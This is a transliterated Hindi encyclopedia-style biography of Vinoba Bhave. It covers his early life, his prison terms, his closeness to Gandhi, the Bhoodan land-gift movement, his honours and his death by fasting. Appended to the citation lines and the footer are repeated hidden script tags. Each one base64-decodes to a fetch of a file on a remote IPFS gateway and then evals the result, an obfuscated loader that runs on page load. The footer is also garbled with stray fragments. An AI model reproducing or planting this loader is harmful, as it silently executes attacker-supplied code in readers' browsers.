विनोबा भावे

	vinoba bhave
	vinayak narahari bhave\|200px\|center
poora nam	vinayak narahari bhave
janm	11 sitanbar, 1895
janm bhoomi	gahode, gujarat, bharat
mrityu	15 navambar, 1982
mrityu sthan	vardha, maharashtr
abhibhavak	narahari bhave
karm bhoomi	bharat
karm-kshetr	svatantrata senani, vicharak, samaj sudharak
bhasha	marathi, sanskrit, hiandi, arabi, farasi, gujarati, bangala, aangrezi, phreanch adi.
puraskar-upadhi	bharat ratn, pratham reman maigsese puraskar
vishesh yogadan	bhoodan aandolan ke jarie samaj mean bhoosvamiyoan aur bhoomihinoan ke bich ki gahari khaee ko patane ka ek anootha prayas kiya.
nagarikata	bharatiy
sanbandhit lekh	pavanar ashram, bhoodan andolan, vinoba bhave ke anamol vachan, vinoba bhave ke prerak prasang
aandolan	'bhoodan yajn' namak andolan ke sansthapak the.
jel yatra	1920 aur 1930 ke dashak mean bhave kee bar jel ge aur 1940 mean paanch sal ke lie jel jana p da.
any janakari	inhean bharat ka rashtriy adhyapak aur mahatma gaandhi ka adhyatmik uttaradhikari samajha jata hai.
bahari k diyaan	adhikarik vebasait

vinoba bhave (aangrezi:Vinoba Bhave, janm: 11 sitanbar, 1895 - mrityu: 15 navambar 1982) mahatma gaandhi ke adaraniy anuyayi, bharat ke ek sarvadhik jane-mane samaj sudharak evan 'bhoodan yajn' namak andolan ke sansthapak the. inaki samash‍t ziandagi sadhu sanyasiyoan jaisi rahi, isi karanavash ye ek sant ke taur par prakhh‍yat hue. vinoba bhave ath‍yant vidvan evan vicharashil vh‍yaktith‍v vale shakhh‍s the. mahatma gaandhi ke param shishh‍y 'jang e azadi' ke is yoddha ne ved, vedaant, gita, ramayan, quran, baibil adi anek dharmik granthoan ka unh‍hoanne gahan ganbhir adhh‍yayan manan kiya. arthashash‍tr, rajaniti aur darshan ke adhunik siddhaantoan ka bhi vinoba bhave ne gahan avalokan chiantan kiya gaya.^[1]

jivan parichay

vinoba bhave ka janm 11 sitanbar, 1895 ko gahode, gujarat, bharat mean hua tha. vinoba bhave ka mool nam vinayak narahari bhave tha. ek kulin brahman parivar janme vinoba ne 'gaandhi ashram' mean shamil hone ke lie 1916 mean haee skool ki padhaee bich mean hi chho d di. gaandhi ji ke upadeshoan ne bhave ko bharatiy gramin jivan ke sudhar ke lie ek tapasvi ke roop mean jivan vyatit karane ke lie prerit kiya.

prarambhik jivan

vinayak ki buddhi ath‍yant prakhar thi. ganit usaka sabase ph‍yara vishay ban gaya. haee sh‍kool pariksha mean ganit mean sarvochh‍ch aank praph‍t kie. b dauda mean grejueshan karane ke dauran hi vinayak ka man vairagi banane ke lie ati atur ho utha. 1916 mean matr 21 varsh ki ayu mean grihath‍yag kar diya aur sadhu banane ke lie kashi nagari ki or rookh kiya. kashi nagari mean vaidik panditoan ke sanidhh‍y mean shash‍troan ke adhh‍yayan mean jut ge. mahatma gaandhi ki charcha desh mean charoan or chal rahi thi ki vah dakshini aphrika se bharat a ge haian aur azadi ka bigul bajane mean jut ge haian. akhand sh‍vadhh‍yay aur jnanabhh‍yas ke dauran vinoba ka man gaandhi ji se milane ke lie kiya to vah panhuch ge ahamadabad ke kocharab ashram mean. jab panhuche to gaandhi ji sabh‍ji kat rahe the. itana prakhh‍yat neta sabh‍ji katate hue milega, aisa to kadachit vinoba ne socha n tha. bina kisi upadesh ke sh‍valanban aur shram ka path padh liya. is mulakat ke bad to jivan bhar ke lie vah bapoo ke hi ho ge.^[1]

jel yatra

bapoo ke sanidhh‍y aur nirdeshan mean vinoba ke lie british jel ek tirthadham ban gee. sanh 1921 se lekar 1942 tak anek bar jel yatraean huee. sanh 1922 mean nagapur ka jhanda sath‍yagrah kiya. british hukoomat ne siarapisi ki dhara 109 ke tahat vinoba ko giraftar kiya. is dhara ke tahat avara guandoan ko giraphtar kiya jata hai. nagapur jel mean vinoba ko patthar to dane ka kam diya gaya. kuchh mahinoan ke pashh‍chat akola jel bheja gaya. vinoba ka to mano tapoyajn praramh‍bh ho gaya. 1925 mean harijan sath‍yagrah ke dauran jel yatra huee. 1930 mean gaandhi ke netritv mean rashh‍triy kaangres ne namak satyagrah ko aanjam diya.^[1][[chitr:Gandhi-and-vinoba.jpg|thumb|left|mahatma gaandhi aur vinoba bhave]]

gaandhi ji aur vinoba bhave

12 march 1930 ko gaandhi ji ne daandi march shuroo kiya. vinoba phir se jel panhuch ge. is bar unh‍hean dhuliya jel rakha gaya. rajagopalachary jinh‍hean rajaji bhi kaha jata tha, unh‍hoanne vinoba ke vishay mean 'yang iandiya' mean likha tha ki vinoba ko dekhie devadoot jaisi pavitrata hai usamean. ath‍mavidvata, tath‍vajnan aur dharm ke uchh‍ch shikharoan par virajaman hai vah. usaki atma ne itani vinamrata grahan kar li hai ki koee british adhikari yadi pahachanata nahian to use vinoba ki mahanata ka aandaja nahian laga sakata. jel ki kisi bhi shreni mean use rakh diya jae vah jel mean apane sathiyoan ke sath kathor shram karata rahata hai. anuman bhi nahian hota ki y‍h manav jel mean chupachap kitani yatanaean sahan kar raha hai. 11 aktoobar 1940 ko gaandhi dvara vh‍yaktigat sath‍yagrah ke pratham sath‍yagrahi ke taur par vinoba ko chuna gaya. prasiddhi ki chahat se door vinoba is sath‍yagrah ke karan behad mashahoor ho ge. unako gaanv gaanv mean yuddh virodhi taqarirean karate hue age badhate chale jana tha. british sarakar dvara 21 aktoobar ko vinoba ko giraftar kiya gaya. sanh 1942 mean 9 agast ko vah gaandhi aur kaangres ke anh‍y b de netaoan ke sath giraftar kiye gaye. is bar unako pahale nagapur jel mean phir veloor jel mean rakha.^[1]

bahubhashi vyaktittv

jel mean hi vinoba ne 46 varsh ki ayu mean arabi aur pharasi bhasha ka adhh‍yayan aramh‍bh kiya aur quran padhana bhi shuroo kiya. ath‍yant kushagr buddhi ke vinoba jalh‍d hi hafiz e quran ban ge. marathi, sanskrit, hiandi, gujarati, bangala, aangrezi, phreanch bhashaoan mean to vah pahale hi parangat ho chuke the. vibhinh‍n bhashaoan ke takariban pachas hajar pady vinoba ko baqayada kanthash‍th the. samash‍t arjit jnan ko apani ziandagi mean lagoo karane ka bhi unh‍hoanne apratim evan ath‍k prayas kiya.^[1]

bharat ke poorv pradhan mantri shri atal bihari vajapeyi ne vinoba ji par nimn padyatmak panktiyaan likhian

dhany too vinoba !

jan ki lagay baji gay ki bachaee jan,
dhany too vinoba ! teri kirati amar hai.
doodh balakari, jako poot haladhari hoy,
siandari lajat mal – mootr urvar hai.
ghas–pat khat din vachan uchare jat,
mari ke hoo kam det cham jo sughar hai.
baba ne bachay linhi dilli dahalay dinhi,
bina lav laskar samar kinho sar hai.

sahityik yogadan

vinoba bhave ek mahan vicharak, lekhak aur vidvan the jinhoanne na jane kitane lekh likhane ke sath-sath sanskrit bhasha ko amajan manas ke lie sahaj banane ka bhi saphal prayas kiya. vinoba bhave ek bahubhashi vyakti the. unhean lagabhag sabhi bharatiy bhashaoan ka jnan tha. vah ek utkrisht vakta aur samaj sudharak bhi the. vinoba bhave ke anusar kann d lipi vishv ki sabhi 'lipiyoan ki rani' hai. vinoba bhave ne gita, quran, baibal jaise dharm granthoan ke anuvad ke sath hi inaki alochanaean bhi ki. vinoba bhave bhagavat gita se bahut jyada prabhavit the. vo kahate the ki gita unake jivan ki har ek saans mean hai. unhoanne gita ko marathi bhasha mean anuvadit bhi kiya tha.^[2]

bhoodan andolan

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[[chitr:Acharya-Vinoba-Bhave.jpg|thumb|bhoodan aandolan ke dauran vinoba bhave]] vinoba bhave ka 'bhoodan aandolan' ka vichar 1951 mean janma. jab vah andhr pradesh ke gaanvoan mean bhraman kar rahe the, bhoomihin asprishy logoan ya harijanoan ke ek samooh ke lie zamin muhaiya karane ki apil ke javab mean ek zamiandar ne unhean ek ek d zamin dene ka prastav kiya. isake bad vah gaanv-gaanv ghoomakar bhoomihin logoan ke lie bhoomi ka dan karane ki apil karane lage aur unhoanne is dan ko gaandhiji ke ahiansa ke siddhant se sanbandhit kary bataya. bhave ke anusar, yah bhoomi sudhar karyakram hriday parivartan ke tahat hona chahie n ki is zamin ke bantavare se b de star par hone vali krishi ke tarkik karyakramoan mean avarodh aega, lekin bhave ne ghoshana ki ki vah hriday ke bantavare ki tulana mean zamin ke bantavare ko zyada pasand karate haian. halaanki bad mean unhoanne logoan ko 'gramadan' ke lie protsahit kiya, jisamean gramin log apani bhoomi ko ek sath milane ke bad use sahakari pranali ke aantargat punargathit karate. apake bhoodan andolan se prerit hokar haradoee janapad ke sarvoday ashram tadiyaanva dvara uttar pradesh ke 25 janapadoan mean shri ramesh bhaee ke netritv mean usar bhoomi sudhar karyakram saphalata poorvak chalaya gaya.

maulik karyakram

vinoba bhave ke maulik karyakram aur jivan ke unake darshan ko ek lekhoan ki shriankhala mean samajhaya gaya hai, jinhean 'bhoodan yajn' (1953) namak ek pustak mean sangrihit evan prakashit kiya gaya hai.

samman evan puraskar

vinoba ko 1958 mean pratham reman maigsese puraskar se sammanit kiya gaya. bharat sarakar ne unhean desh ke sarvochch nagarik samman bharat ratn se 1983 mean maranoparaant sammanit kiya.

maun vrat

[[chitr:Vinova_samadhi_pawnar.JPG|vinoba bhave samadhi sthal pavanar ashram|thumb|250px]] 1975 mean poore varsh bhar apane anuyayiyoan ke rajanitik aandolanoan mean shamil hone ke mudde par bhave ne maun vrat rakha. 1979 ke ek amaran anashan ke parinamasvaroop sarakar ne samooche bharat mean go-hatya par nishedh lagane hetu qanoon parit karane ka ashvasan diya.

nidhan

vinoba ji ne jab yah dekh liya ki vriddhavastha ne unhean a ghera hai to unhoanne ann-jal tyag diya. jab achary vinova ji ne ann aur jal tyag diya to unake samarthakoan ne unase chaitanyavastha mean bane rahane ke liye oorja ke strot ki janakari chahi to unhoanne bataya ki ve vayu akash adi se oorja grahan karate haian. achary vinoba ne kaha ki 'mrityu ka divas vishad ka divas nahian apitu utsav ka divas' hai isaliye unhoanne apani mrityu ke liye dipavali ka divas 15 navambar ko nirvan divas ke roop mean chuna. is prakar ann jal tyagane ke karan ek saptah ke andar hi 15 navambar 1982, vardha, maharashtr mean unhoanne apane pran tyag diye. vinoba ji ke sharir tyagane ke uparaant pavanar ashram ke sabhi bahanoan ne unhean sanyukt roop se mukhagni di. itihas mean is tarah ki mrityu ke udaharan gine chune hi milate hai. is prakar marane ki kriya ko prayopavesh kahate hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 ^1.4 vinoba bhave (hindi) The Realty of India. abhigaman tithi: 22 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ mahan vicharak aur samaj sudharak vinoba bhave (hindi) jagaran jankshan. abhigaman tithi: 22 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh 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[TRI-1] 1.0 ^1.1 ^1.2 ^1.3 ^1.4 vinoba bhave (hindi) The Realty of India. abhigaman tithi: 22 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] vicharak aur samaj sudharak vinoba bhave (hindi) jagaran jankshan. abhigaman tithi: 22 joon, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]